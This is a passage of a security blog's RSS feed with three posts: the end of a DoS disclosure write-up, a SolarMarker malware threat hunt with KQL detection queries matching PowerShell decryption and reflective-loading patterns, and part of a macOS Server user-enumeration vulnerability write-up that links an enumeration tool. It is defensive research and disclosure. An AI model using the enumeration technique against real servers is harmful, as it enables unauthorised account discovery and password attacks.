thread.</p><p>Additionally, even with the whitelist IP feature enabled, an attacker could make the same concurrent requests receiving “Access Denied” responses until, “Down Goes Frazier!”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/298/0*IN_gfKXRDhypiU7v.jpg" /><figcaption>Whitelist does not prevent the DoS</figcaption></figure><p>The Team had discovered that we could crash this application within a few minutes every time, thus we had discovered a Denial of Service (DoS). However, as in most Red Team Operations, DoS are not authorized in the Rules of Engagement (ROE). We were left to decide, do we attempt to continue to investigate the crash in hopes it could lead to more or do we investigate other potential attack vectors against the system. In the end, we felt our best option moving forward was to look for other avenues of attack and research some of the other exposed services. We chalked this up as a small win for the team and another vulnerability to add to the report and start the process for responsible disclosure.</p><p>So the moral of this story is:</p><ul><li>Sometimes you get lucky and find a vulnerability.</li><li>If you can, test stuff in a lab first.</li><li>Lastly, I guess Tim the Tool-man was correct - More Power!!!!!</li></ul><p>Responsible Disclosure:</p><ul><li>03JUL23 — No response from Vendor (ImageTasks Inc.)</li><li>11JUL23 — No response from Vendor</li><li>01AUG23 — Submit Vulnerability to <a href="https://www.kb.cert.org/vuls/">CERT VDP Program</a></li><li>21AUG23 — Case officially opened by CERT</li><li>03OCT23 — Directed by CERT to request CVE</li><li>29JAN24 — CERT acknowledges MITRE delay when requested by reporter (versus a CNA) and said blog post can be published.</li><li>21FEB24 — Published this Blogpost</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*7QUi2RYjl78UzHMy.png" /></figure><p><em>Maveris is an IT and cybersecurity company committed to helping organizations create secure digital solutions to accelerate their mission. We are Veteran-owned and proud to serve customers across the Federal Government and private sector. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3843148e665f" width="1" height="1" alt=""><hr><p><a href="https://medium.com/revolutionallabs/what-did-you-do-discovering-a-dos-vulnerability-by-accident-istatistica-3843148e665f">What did you do? Discovering a DoS vulnerability by accident (iStatistica)</a> was originally published in <a href="https://medium.com/revolutionallabs">Revolutional Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a Threat Hunt for SolarMarker TTPs]]></title>
            <link>https://medium.com/revolutionallabs/building-a-threat-hunt-for-solarmarker-ttps-365114c0907c?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/365114c0907c</guid>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Manuel Arrieta]]></dc:creator>
            <pubDate>Fri, 26 Jan 2024 14:48:22 GMT</pubDate>
            <atom:updated>2024-01-26T14:48:22.306Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*i1W9-p_5kdcFVgkjZYSPng.png" /><figcaption>Don’t get caught just staring at SolarMarker, let’s get to building some detections</figcaption></figure><p>This post will cover methodology for hunting SolarMarker malware (also known as Juypter/YellowCockatoo/Polazert) given its resurgence in the last quarter of 2023. The analytics presented are for Microsoft Defender for Endpoint (MDE) using KQL.</p><p>The foundation of an effective threat hunt begins with understanding your adversary; the better you understand the adversary, the better you can tailor your hunt analytics to produce meaningful results. Equally, you must be cognizant of the capabilities of your hunt tools as they may not yield the same level of granularity across filesystem artifacts, which may render hunting certain TTPs beyond your tool’s purview. Accordingly, we begin by aggregating recent TTPs of SolarMarker malware from the following sources:</p><ul><li><a href="https://unit42.paloaltonetworks.com/solarmarker-malware/">https://unit42.paloaltonetworks.com/solarmarker-malware/</a></li><li><a href="https://www.esentire.com/blog/solarmarker-to-jupyter-and-back">https://www.esentire.com/blog/solarmarker-to-jupyter-and-back</a></li><li><a href="https://squiblydoo.blog/2023/11/07/october-2023-solarmarker/">https://squiblydoo.blog/2023/11/07/october-2023-solarmarker/</a></li><li><a href="https://redcanary.com/blog/intelligence-insights-december-2023/">https://redcanary.com/blog/intelligence-insights-december-2023/</a></li></ul><p>A high-level summary of SolarMarker TTPs gathered from these sources is as follows:</p><ul><li>The initial infection vector of SolarMarker relies on search engine optimization (SEO) poisoning to deliver large .NET executable files to unsuspecting users.</li><li>Upon execution, SolarMarker may launch a decoy installer or pdf file whilst launching PowerShell to decrypt and load additional payloads.</li><li>SolarMarker can deliver both backdoor and infostealer payloads in the form of obfuscated .NET DLLs.</li><li>SolarMarker achieves persistence through the startup folder and registers custom file extensions whose handler registry key contains PowerShell code to decrypt additional payloads.</li><li>SolarMarker encrypts all traffic to C2 servers using hard-coded keys.</li></ul><p>With the general understanding of SolarMarker TTPs we have established thus far, we can begin to scope our hunt efforts and build analytics for SolarMarker. Each section will tackle a distinct SolarMarker TTP and recommend MDE analytics to identify the activity.</p><h3><strong>SolarMarker SEO File Download</strong></h3><p>SolarMarker file downloads consist of a large executable file (roughly 200–350 MB in size) with a naming convention that includes the victim’s initial search engine query as a hyphen-separated file name. Before we begin constructing our hunt analytic, we will supplement our understanding of the initial SolarMarker file download by leveraging VT Enterprise (requires licensing) using the following query:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SS-P-WV_7rnOPsJckrtqDw.png" /><figcaption><a href="https://www.virustotal.com/gui/search/(engines%253Apolazert%2520or%2520engines%253Asolarmarker)%2520and%2520tag%253Aassembly%2520and%2520size%253A200mb%252B/files">(engines:polazert or engines:solarmarker) and tag:assembly and size:200mb+</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GKdhOhD7E3DLoo3AgFXI9w.png" /><figcaption>VT query results for SolarMarker samples.</figcaption></figure><p>Inspecting some of the results further, we confirm file names match the expected nomenclature:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*yMHpB4HUMyd6jwO8elvW9Q.png" /><figcaption>VT file details tab view.</figcaption></figure><p>By taking this additional step, we can be confident our hunt analytics align with the intel we are referencing and that we are targeting the latest SolarMarker TTPs. At this point, there are several approaches we can take to hunt for SolarMarker files resident on an endpoint: file size, file name, and file metadata. Although it may be tempting to build analytics to hunt for these file attributes individually, you run the risk of creating an analytic that is overly broad. For instance, if we constructed a query to search for file creation events where the file size is over 200MB, it is possible that our result set is in the hundreds if not thousands, especially in larger organizations. Likewise, applying stack counting techniques to unrefined data in these circumstances may still not yield a manageable result set. Therefore, when applicable, combine TTPs to enhance the fidelity of your analytics.</p><p>To that effect, we know the initial SolarMarker file download transpires via web browser process, so we will include a list of web browser processes that SolarMarker is known to target with its infostealer stage in our analytic. If you have baselined your environment and know what browsers are in use, adjust the analytic as needed. Finally, our proposed analytic looks like this:</p><pre>Let webBrowser = dynamic ([&quot;chrome.exe&quot;, &quot;msedge.exe&quot;, &quot;firefox.exe&quot;, &quot;brave.exe&quot;]);<br>DeviceFileEvents<br>| where Timestamp &gt; ago (30d)<br>| where InitiatingProcessFileName in~ (webBrowser)<br>| where isnotempty(FileName)<br>| where FileName endswith &quot;.exe&quot;<br>| extend filename_length = strlen(FileName),<br> hyphenCount = countof(FileName, &quot;-&quot;)<br>| where (hyphenCount &gt; 2) and FileSize between (200000000 .. 350000000)<br>| summarize count()by ActionType, InitiatingProcessFileName, FileName, FileSize, SHA1, SHA256, MD5, filename_length, hyphenCount<br>| where count_ &lt;= 5<br>| order by FileName asc</pre><p><em>Note: The results from this analytic may produce a variety of software installer file names. If the software is unapproved in your organization, create an inventory of the software identified as part of your overall hunt findings.</em></p><h3><strong>SolarMarker File Download and Execution</strong></h3><p>The immediate parent-child process tree of a successful SolarMarker file download and execution can be illustrated as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*uYLtrrIx0eOTKtH02JUm-g.png" /></figure><p><em>Note: The process tree has been simplified as the SolarMarker executable will generate various PowerShell child processes and may spawn an additional web browser process to open a decoy pdf.</em></p><p>By modifying the previous analytic, we can detect a potential SolarMarker file download and its execution by searching for web browser processes spawning a large file containing a hyphen-separated name followed by a PowerShell grandchild process:</p><pre>let webBrowser = dynamic ([&quot;chrome.exe&quot;, &quot;msedge.exe&quot;, &quot;firefox.exe&quot;, &quot;brave.exe&quot;]);<br>DeviceProcessEvents<br>| where Timestamp &gt; ago (30d)<br>| where InitiatingProcessParentFileName in~ (webBrowser)<br>| where ActionType == &quot;ProcessCreated&quot;<br>| where FileName has &quot;powershell&quot; or FileName has &quot;pwsh&quot;<br>| extend hyphenCount = countof(InitiatingProcessFileName, &quot;-&quot;)<br>| where isnotempty(InitiatingProcessFileSize)<br>| where (hyphenCount &gt; 2) and InitiatingProcessFileSize between (200000000 .. 350000000)<br>| summarize count()by ActionType, InitiatingProcessParentFileName, InitiatingProcessFileName, FileName, FileSize, SHA1, SHA256, MD5, hyphenCount</pre><p><em>Note: This analytic assumes the user opens the downloaded file from within the web browser window and not File Explorer.</em></p><h3><strong>SolarMarker Assembly Load</strong></h3><p>Next, we will build a hunt analytic for detecting SolarMarker executables which attempt to load additional payload stages in the form of .NET assemblies. It is important to note that what we are hunting here will not be found in the DeviceImageLoadEvents table, which is similar to what other tools may categorize as a DLL image load. Instead, this analytic aims to detect anomalous assembly names that have been loaded through reflection using MDE’s ClrUnbackedModuleLoaded ActionType.</p><p>Based on analysis of the most recent SolarMarker samples, we can confirm the initial SolarMarker file download is still leveraging an embedded encrypted payload which is decrypted via PowerShell and loaded into memory using a call to Reflection.Assembly::Load (used to load a byte array containing a .NET assembly). To demonstrate what this analytic will detect, we will analyze the most recent SolarMarker sample available at the time of writing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*hSQVVnrPga81JxDDKt6fSw.png" /><figcaption><a href="https://www.virustotal.com/gui/file/b68a65e9f8cb6aff77c8d1973e60063de53ca052ee6c98919c96decf5ef705a8/details">https://www.virustotal.com/gui/file/b68a65e9f8cb6aff77c8d1973e60063de53ca052ee6c98919c96decf5ef705a8/details</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*kkvCcSlFktbYxs_Il_MXUQ.png" /></figure><p>This sample was analyzed in a lab environment and the first stage PowerShell script is extracted by setting a breakpoint prior to the “powerShell.BeginInvoke” call and saving the contents of the local variable @string to a designated file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_BMg9H3SCtbhGFj-IQRiUw.png" /><figcaption>Sample loaded into dnSpy with breakpoint set.</figcaption></figure><p>If the sample is allowed to execute beyond this point, you can also gather the script contents through PowerShell transcript logs. The PowerShell script content is as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Du-fdI0zDyZN4Hep-DZeuw.png" /></figure><p>We will modify the script so that it writes the decrypted payload to disk. As the payload consists of a byte array prior to being loaded by “Reflection.Assembly::Load,” we convert it back to base64 and write it to a file. CyberChef is then used with the “From Base64” recipe with “remove non-alphabet characters” selected:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DgT4SCejE8sbml1KQnFNeQ.png" /></figure><p><em>Note: The entire script can also be extracted from Microsoft-Windows-PowerShell/Operational Event logs by searching for Event ID 4104. This sample generated Scriptblock text spanning 109 event log entries.</em></p><p>Consequently, we obtain the following .NET assembly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*yHhDXr7d-siLBq1BG1u8Eg.png" /></figure><p>The assembly was previously submitted to VT:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e7Jl5TOlyXaLhaLAjmioNA.png" /><figcaption><a href="https://www.virustotal.com/gui/file/80a4243ec5fde0768e9d054ee478bdb6cf85e2a91b641877bb68a62dfceea8fa/details">https://www.virustotal.com/gui/file/80a4243ec5fde0768e9d054ee478bdb6cf85e2a91b641877bb68a62dfceea8fa/details</a></figcaption></figure><p>Using Ildasm.exe (requires Visual Studio), we inspect the assembly manifest file to find the assembly’s name:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*kER-dol307_lXgQlFI5HWw.png" /><figcaption>Ildasm.exe displaying the manifest file.</figcaption></figure><p>Referring back to the PowerShell transcript logs generated during dynamic analysis, you will notice the assembly name loaded by the initial SolarMarker executable highlighted in yellow. This matches the assembly name we observed in the assembly manifest:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kHFh3ueSHq4M8GlkzLkcQw.png" /><figcaption>PowerShell transcript logs displaying the obfuscated script and assembly name.</figcaption></figure><p>As you may know, .NET assemblies are required to have a manifest file which contains the name of the assembly as well as other dependencies provided to the common language runtime (CLR). This is precisely the data we are targeting with our analytic. Notice the length of the assembly’s name is 121 alphanumeric characters and at least the first 50 characters are letters:</p><p>“KABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZPOF89gHKDH2wH83GgTuBCKcKeMaOYhygFEOfjaTCm4HTF2RKfEYrN0I75FbLaREGVwLg”</p><p>Next, we validate the initial SolarMarker file we are analyzing loads the assembly we observed in the PowerShell transcript logs and assembly manifest:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ixyYHDaiMEs-IKyvI9P8QA.png" /></figure><p>Lastly, we leverage VT Enterprise to establish whether the observed naming convention is applicable to other SolarMarker assemblies:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*by7mg__YvpDIz9qUqyeIzQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2g5xmTXAZxOgWzmOHYR6lg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uSidzGycajV8eQc2WZS3NQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HDMu4lDWivXPnkSuitJltg.png" /></figure><p>Accordingly, our analytic will encompass detecting assembly names with similar naming conventions as the name length is an unusual characteristic that may provide high-fidelity results. This analytic may also be valuable when attempting to ascertain actions on objectives by identifying different .NET assemblies loaded during a possible SolarMarker infection:</p><pre>DeviceEvents<br>| where Timestamp &gt; ago (30d)<br>| where ActionType == &quot;ClrUnbackedModuleLoaded&quot;<br>| where InitiatingProcessFileName has &quot;powershell&quot; or InitiatingProcessFileName has &quot;pwsh&quot;<br>| extend split(AdditionalFields, &#39;,&#39;)<br>| extend clr = tostring(AdditionalFields[0])<br>| where clr matches regex @&quot;[a-zA-Z]{50,}&quot;<br>| extend clr_length = strlen(clr)<br>| summarize count()by ActionType, InitiatingProcessParentFileName, InitiatingProcessFileName, FileName, FileSize, tostring(AdditionalFields), tostring(clr), clr_length, InitiatingProcessCommandLine, ProcessCommandLine</pre><h3><strong>SolarMarker C2 Attempt</strong></h3><p>Shortly after execution, SolarMarker will attempt to establish an outbound network connection with its C2 IP address. In the sample we analyzed, our executable attempted a network connection via:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*4fw2osBCJWe64191VU_kSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*--v4HfGYzNJHs_p1_inKBA.png" /><figcaption>ProcDOT and Process Monitor output.</figcaption></figure><p>Using the profile we developed in our first analytic for SolarMarker, we can expect to identify possible SolarMarker executables generating outbound network connections via:</p><pre>DeviceNetworkEvents<br>| where Timestamp &gt; ago (30d)<br>| where isnotempty(InitiatingProcessFileSize)<br>| extend hyphenCount = countof(InitiatingProcessFileName, &quot;-&quot;)<br>| where (hyphenCount &gt; 2) <br>| where InitiatingProcessFileSize between (200000000 .. 350000000)<br>| summarize count()by ActionType, InitiatingProcessParentFileName, InitiatingProcessFileName, RemoteIP, RemotePort, RemoteUrl, RemoteIPType, hyphenCount, InitiatingProcessFileSize</pre><h3><strong>SolarMarker Startup Folder Persistence</strong></h3><p>SolarMarker establishes persistence on an endpoint by creating shortcut (.lnk) files in the startup folder path via PowerShell which correspond to custom file extensions registered during infection. Therefore, this analytic will be straightforward. We will be hunting for PowerShell processes which generate file creation events whose extension ends in .lnk and where the file path references the startup folder:</p><pre>DeviceFileEvents<br>| where Timestamp &gt; ago (30d)<br>| where InitiatingProcessFileName has &quot;powershell&quot; or InitiatingProcessFileName has &quot;pwsh&quot;<br>| where FolderPath has @&quot;start menu\programs\startup&quot; and FileName endswith &quot;.lnk&quot;<br>| summarize count()by InitiatingProcessParentFileName, InitiatingProcessFileName, FileName, InitiatingProcessCommandLine, SHA1, SHA256, MD5</pre><p><em>Note: You could potentially branch off this hunt by including other LOLBins which exhibit similar behavior.</em></p><h3><strong>SolarMarker Registry Persistence</strong></h3><p>As a product of startup folder persistence, SolarMarker creates a corresponding registry key under <em>HKEY_CURRENT_USER\Software\Classes\*\shell\open\command</em> to handle the custom file extension. The registry key data contains PowerShell code that is executed when the custom file extension is called:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kCA_DFKwjW61bdgmXC1Gmw.png" /><figcaption><a href="https://www.esentire.com/blog/solarmarker-to-jupyter-and-back">https://www.esentire.com/blog/solarmarker-to-jupyter-and-back</a></figcaption></figure><p>By combining the registry key path with the specific PowerShell command line references to AesCryptoServiceProvider and Reflection.Assembly, we can build an analytic to hunt for these artifacts:</p><pre>DeviceRegistryEvents<br>| where Timestamp &gt; ago (30d)<br>| where RegistryKey has @&quot;shell\open\command&quot;<br>| where isnotempty(RegistryValueData)<br>| where RegistryValueData has_any (&quot;powershell&quot;, &quot;pwsh&quot;) and RegistryValueData has_any (&quot;command&quot;, &quot;AesCryptoServiceProvider&quot;, &quot;frombase64string&quot;,  &quot;reflection.assembly&quot;)<br>| summarize count()by ActionType, InitiatingProcessFileName, RegistryKey, RegistryValueData, RegistryValueName, RegistryValueType</pre><p><em>Note: There are plenty of opportunities to expand this analytic to hunt for other registry keys containing suspicious commands.</em></p><h3><strong>SolarMarker Staged Browser Data</strong></h3><p>SolarMarker’s infostealer payload creates directories under the %TEMP% folder based on web browsers installed on the infected machine. This activity will typically result in several thousand file modifications and can be detected by folder path or number of file modifications. The following image details the folder string associated with a particular browser:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*4-wPWWUOgG3aFqWHylg4EQ.png" /><figcaption><a href="https://www.esentire.com/blog/solarmarker-to-jupyter-and-back">https://www.esentire.com/blog/solarmarker-to-jupyter-and-back</a></figcaption></figure><p>Our analytic will focus on file events where a file is created containing a specific browser string or where the folder path references the browser string:</p><pre>DeviceFileEvents<br>| where Timestamp &gt; ago (30d)<br>| where FileName has_any(&quot;chrprf&quot;, &quot;edgprf&quot;, &quot;ffxprf&quot;, &quot;brvprf&quot;) or FolderPath has_any(&quot;chrprf&quot;, “edgprf&quot;, “ffxprf”, &quot;brvprf&quot;)<br>| summarize count()by ActionType, InitiatingProcessParentFileName, InitiatingProcessFileName, FileName, InitiatingProcessFolderPath, FolderPath, SHA1, SHA256, MD5 </pre><p>In conclusion, by leveraging several intel sources and performing our own analysis, we created analytics to hunt for SolarMarker TTPs spanning initial access to command and control. To better visualize where we can expect to detect SolarMarker, we map our analytics to MITRE:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aw9Rzaw2X2lKtWiSUnDXow.png" /></figure><h3><strong>References</strong></h3><p><a href="https://learn.microsoft.com/en-us/dotnet/standard/assembly/">https://learn.microsoft.com/en-us/dotnet/standard/assembly/</a></p><p><a href="https://learn.microsoft.com/en-us/dotnet/standard/clr">https://learn.microsoft.com/en-us/dotnet/standard/clr</a></p><p><a href="https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?view=net-8.0">https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?view=net-8.0</a></p><p><a href="https://support.virustotal.com/hc/en-us/articles/360001385897-File-search-modifiers">https://support.virustotal.com/hc/en-us/articles/360001385897-File-search-modifiers</a></p><p><a href="https://www.virustotal.com/gui/file/80a4243ec5fde0768e9d054ee478bdb6cf85e2a91b641877bb68a62dfceea8fa/details">https://www.virustotal.com/gui/file/80a4243ec5fde0768e9d054ee478bdb6cf85e2a91b641877bb68a62dfceea8fa/details</a></p><p><a href="https://www.virustotal.com/gui/file/b68a65e9f8cb6aff77c8d1973e60063de53ca052ee6c98919c96decf5ef705a8/details">https://www.virustotal.com/gui/file/b68a65e9f8cb6aff77c8d1973e60063de53ca052ee6c98919c96decf5ef705a8/details</a></p><p><a href="https://attack.mitre.org/matrices/enterprise/">https://attack.mitre.org/matrices/enterprise/</a></p><p><a href="https://unit42.paloaltonetworks.com/solarmarker-malware/">https://unit42.paloaltonetworks.com/solarmarker-malware/</a></p><p><a href="https://www.esentire.com/blog/solarmarker-to-jupyter-and-back">https://www.esentire.com/blog/solarmarker-to-jupyter-and-back</a></p><p><a href="https://squiblydoo.blog/2023/11/07/october-2023-solarmarker/">https://squiblydoo.blog/2023/11/07/october-2023-solarmarker/</a></p><p><a href="https://redcanary.com/blog/intelligence-insights-december-2023/">https://redcanary.com/blog/intelligence-insights-december-2023/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*GP4JrTA5tqRJqZx4.png" /></figure><p><em>Maveris is an IT and cybersecurity company committed to helping organizations create secure digital solutions to accelerate their mission. We are Veteran-owned and proud to serve customers across the Federal Government and private sector. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=365114c0907c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/revolutionallabs/building-a-threat-hunt-for-solarmarker-ttps-365114c0907c">Building a Threat Hunt for SolarMarker TTPs</a> was originally published in <a href="https://medium.com/revolutionallabs">Revolutional Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[User Enumeration Vulnerability in the deprecated macOS Server]]></title>
            <link>https://medium.com/revolutionallabs/user-enumeration-vulnerability-in-the-deprecated-macos-server-acad9fed76cb?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/acad9fed76cb</guid>
            <category><![CDATA[macos]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[enumeration]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Matt “Rudy”]]></dc:creator>
            <pubDate>Thu, 21 Dec 2023 18:35:31 GMT</pubDate>
            <atom:updated>2023-12-21T18:35:30.997Z</atom:updated>
            <content:encoded><![CDATA[<p>I wanted to come up with some catchy title, some fun story, with some good takeaways around the discovery of this vulnerability. However, I am a little loss for words, probably because I‘m not a great writer and don’t very much enjoy it. I prefer the research aspect of things and jotting down stuff on sticky notes, on my white board desk, or in the random text documents that I leave open all over my computer (just like all the tons of open Chrome tabs). Even though there is a community that still uses and loves macOS Server, old deprecated software past its prime, Apple’s VDP response highlights the issue when dealing with vulnerabilities in deprecated software.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*iugrceboqM8iPSIG_HJpRA.png" /><figcaption>Apple’s response, as expected</figcaption></figure><p>Honestly, I don’t blame Apple for their response. I actually expected it. The point of giving an End-of-Life (EoL) date for software is to tell people we are not going to patch or deal with this software anymore — “Its old, pay us for our new better software now.” But I still had an issue with how to deal with the response for the customer.</p><p>It was during an assessment that my team discovered these servers running this old deprecated software. As a Red Teamer, when I come across dated software, I typically get a little excited. When you discover the software is deprecated, it raises the possibility that a vulnerability might exist which does not have a patch.</p><p>In our case we did not find any of these. We were left with a system that was running software that was EoL which is considered a bad security practice. However, I don’t like providing “theoretical findings” such as “Deprecated software could lead to exploitation, upgrade now”. I would rather have some concrete evidence of the risk to share with the customer.</p><p>As my co-worker <a href="https://medium.com/u/36daf9ba3056">Khris Tolbert</a> likes to do, I put on my imaginary lab coat (I think he may actually have one) and started doing, as he says “science”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*dT1PEvvTuZknbQ8w.gif" /><figcaption>Lab coats and doing “science”</figcaption></figure><p>I needed an environment and system to test again. So I spent a lot more time then I thought I would need building out a replica Virtual Machine running the same OS and macOS Server. The system did not run at optimal speed (I think due to some VMware graphical issue) but it did work. I took the information the team had already discovered during the assessment and started digging into macOS Server.</p><p>Little plug for why Red Teamers should consider always building out replica systems during an assessment if time is available. In our case, doing this provided the team with a lot of information related to what features were enabled or not. By fingerprinting the system we were able to determine there were a lot of default settings in place on our target system. One of the big advantages of having this replica system was the ability to see what “success” looked like against the system. For example, the team could determine what the successful authentication response would look like. The team had a system to develop and test tools against before turning them on the target system and feel confident they were safe and worked properly. For example, co-worker <a href="https://medium.com/u/aa728a11afd9">Allen Butler</a> researched the Apple Password Server protocol and created a tool to conduct Password Attack utilizing this specific protocol. Keep a look out on Maveris Labs or check out his <a href="https://github.com/cyberbutler">github</a> for it.</p><h3>The Vulnerability:</h3><p>The macOS Server software provides an administrator with the capability to deploy different services. One of the most common services I have seen is the wiki service. While investigating this service, I noticed in Burp Suite that there is a /collabdproxy endpoint that receives PUT requests. This endpoint looks to process requests and respond back with a lot of internal information when just simply browsing the wiki. This is the same endpoint that handles the request for authentication when a user attempts to login to the wiki. As you might expect, with Apple, there is not a lot of detailed information I could find on the inner-workings of this software. Research, investigation, and testing continued as I tried to determine what I could do with this endpoint.</p><p>The requests to this endpoint pass data as JSON and it generally must contain the following keys <em>type</em>, <em>serviceName</em>, and <em>methodName</em>. Depending on the associated values for those keys, there may be additional keys or optional keys within the JSON data structure. Below is an example of a normal request to the collabdproxy endpoint with varying key/value pairs in the JSON Data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/0*LfBslAHwNcVolrpc" /><figcaption>An Example request to the macOS Server wiki</figcaption></figure><p>Through research and testing, it was discovered that the requests to the collabdproxy endpoint allowed for single or multiple requests. These requests all used similar structures when defining the data desired.</p><p>The most common <em>type</em> value is the <em>com.apple.ServiceRequest. </em>Other things to note, the value for <em>methodNam</em>e is case-sensitive and most methods must match their specific <em>serviceName</em>, however, there are a few like <em>ping</em> which seem to work with the different <em>serviceName</em> values.</p><p>As I mentioned previously, authentication to the wiki used the collabdproxy. While investigating different key/value pairs, the <em>AuthService</em> value for the <em>serviceName</em> key combined with the <em>validateUsername:andPassword:</em> (don’t miss the : at the end) value for the <em>methodName</em> value. This combination allowed for a simple method to do exactly what the <em>methodName</em> suggested, validate a user. Below is an example of a request with invalid credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/0*DciEomi67FWtM1Ps" /><figcaption>Validate credentials request with a username and a wrong password</figcaption></figure><p>Do you notice the possible concern with the above error response?</p><p>That’s right: the error response in the <em>exceptionName</em> has “<em>CSAuthBadPassword</em>”, which implies the username is correct but the password is wrong. Below is an example of a request with an incorrect user with the same bad password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/0*YvjJeWzLZWPGKLUt" /><figcaption>Validate credentials request with wrong user and a wrong password</figcaption></figure><p>The error response of “<em>CSAuthNoUser</em>” is pretty clear that the er does not exist. We have discovered error-based user enumeration. As a Red Teamer, I can use this to script up something to discover account usernames and then even use the same requests to conduct a password attack and hope to gain access to this wiki.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/0*G8T51RTw51Xdwh-m.jpg" /><figcaption>But wait there’s more</figcaption></figure><p>You may say, I can get a lot of those names by just looking at the people that have posted things on the wiki. What if I told you that you can enumerate more than just the wiki users?</p><p>Yes, you can enumerate any user on the system (or open directory if that service is running, which it probably is). You can even enumerate users like <em>_www, nobody, root, daemon, _postfix, </em>etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/0*eWjtqvwCzV6_ePlY" /><figcaption>_www wasn’t an account I created on the system</figcaption></figure><p>Also, the <em>methodName</em> value of <em>sessionForUsername:andPassword:</em> will provide the the exact same error messages in the responses. Except if you are successful, you actually get a session value to use to login.</p><h3>Tool:</h3><p>I usually let <a href="https://medium.com/u/aa728a11afd9">Allen Butler</a> make all of our tools, because let’s be honest, he is just better at it and WAY Faster. However, I was wearing the lab coat, so I decided to make a tool. I created a command-line tool, in python, that will aid in enumeration of a server running macOS Server. It provides some other functionality besides just user enumeration, like determining the version, how many users are active, search for items in the wiki, etc. For more details on the options check out the — help command.</p><p>For user enumeration, you can supply your own option on the command-line, you can provide a path to file with a list of usernames, or you can use a list I built into the code to just prove the vulnerability. Additionally, I did add the ability to authenticate with credentials. There is a lot more that could be done with the tool, especially error checking and displaying the data better. If anything, the code has functions that already craft the JSON data structure so that you can easily use it to design your own tool.</p><p><a href="https://github.com/ruddawg26/macOS_Server_Enum">https://github.com/ruddawg26/macOS_Server_Enum</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FXXmPDxRNPwjZIS3" /><figcaption>Example of the help output of the tool</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0zh5cPYOoDgxp2X-" /><figcaption>Example of running tool with the built-in list</figcaption></figure><p>One last interesting discovery that could be used to enhance things:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/0*0qU9xPJVnZATAHSB.jpg" /><figcaption>ENHANCE!</figcaption></figure><p>Lets look at that first example request:</p><figure><img alt="" 